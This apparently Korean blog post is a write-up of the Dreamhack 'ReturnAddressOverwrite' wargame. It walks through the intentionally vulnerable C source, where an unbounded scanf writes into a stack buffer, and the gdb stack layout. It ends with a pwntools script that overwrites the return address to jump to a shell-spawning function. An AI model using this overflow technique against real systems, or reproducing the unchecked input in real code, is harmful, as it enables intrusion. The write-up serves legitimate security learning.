Write-up/Wargame

[Dreamhack] ReturnAddressOverwrite

da1seun9 2024. 3. 22. 20:59

개요

수준 유지를 하고자 요즘 드림핵을 다시 시작했다.

image

기본적으로 바이너리 파일과 소스코드를 준다.

바이너리 파일을 보기 전에 소스코드부터 보자.

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

image

main에서 변수 buf에 입력을 받고 종료하는 단순한 프로그램인 것을 알 수 있지만, 취약한 함수인 scanf를 쓰고 있다.

checksec으로 확인 결과 canary랑 PIE(Position Independent Executable) 보호기법은 disable되어 있는 상태이다.

💡 Why ?

scanf( )의 형식은 int scanf(const char * restrict format, ...);이며, 하는 일은 표준입력으로부터 데이터를 읽어와서 형식에 따라 인자들이 가리키는 주소에 데이터를 넣는다.

즉, 입력을 받지만, 얼마나 받는지 정하질 않았기 때문에 메모리변조공격에 취약하다.

그러므로 scanf함수가 아닌, 보안성이 향상된 scanf_s( ) 또는 프로그래밍 언어 중 메모리 보안성이 좋은 Rust, C#, Java, Go등을 사용하는 것이 좋다.

최근에 백악관에서 메모리 부분에 있어서 취약한 언어인 C와 C++ 사용 중단 권고도 발표했으니, 참고바란다.

https://www.ciokorea.com/news/327256

풀이

시나리오

시나리오를 짜보겠다.

  1. get_shell()의 주소를 획득한다.
  2. scanf함수에 buf크기보다 긴 문자열을 입력한다.
  3. ret주소에는 get_shell()의 주소를 리틀엔디안으로 삽입한다.

실습

image

scanf("%s",buf);부분이 문제이기 때문에 어셈블리어로 자세히 보자.

scanf()함수 call하기 전 인자들을 넘겨주는 작업을 한다.

먼저 main+35이 실행된 순간을 보자.

image

rbp-0x30의 주소가 rax에 들어간다.

레지스터 부분을 확인해보면, rax에 0x7fffffffdf90이라는 rbp-0x30의 주소가 들어가는 것을 볼 수 있다.

그리고 이 주소는 변수 buf의 주소일 것이다.

두번 next해보자.

image

rdi의 값이 바뀌었다. 그리고 이 값은 "%s" 이다.

image

이제 scanf의 작동 방식에 대해 알았으니, get_shell()의 주소를 획득하자.

image

이후에 BOF를 하는데 어셈블리어를 보니 값이 저장되는 주소가 [rbp-0x30]이었다.

그림으로 나타내면 다음과 같을 것이다.

image

저 비어있는 공간을 채울것이다. EBP-0x30에는 "A" 48개(0x30) SFP는 "B" 8개 RET부분에 get_shell()의 주소가 들어가면 된다.

image

exploit 코드는 pwntools를 써서 실행했다.

from pwn import *

p = remote('host3.dreamhack.games',10399)
#p = process('./rao')
get_shell = 0x4006aa

payload = 'A' * 0x30
payload += 'B' * 0x8
payload += '\xaa\x06\x40\x00\x00\x00\x00\x00' #p32(get_shell)와 같은 코드

p.recvuntil('Input: ') # Input: 해당 문자열까지 받아온다.

p.sendline(payload) # 해당 줄을 보낸다.
p.interactive() # 연결된 쉘과 상호작용을 위해 사용

결과

image

끝.

'Write-up > Wargame' 카테고리의 다른 글

[Dreamhack] basic_exploitation_001  (1) 2024.10.03
[Dreamhack] basic_exploitation_000  (0) 2024.03.24
[pwnable.kr] fd  (0) 2023.11.12
[Dreamhack wargame] rev-basic-4  (1) 2023.11.12
[Dreamhack wargame] rev-basic-3  (0) 2023.09.04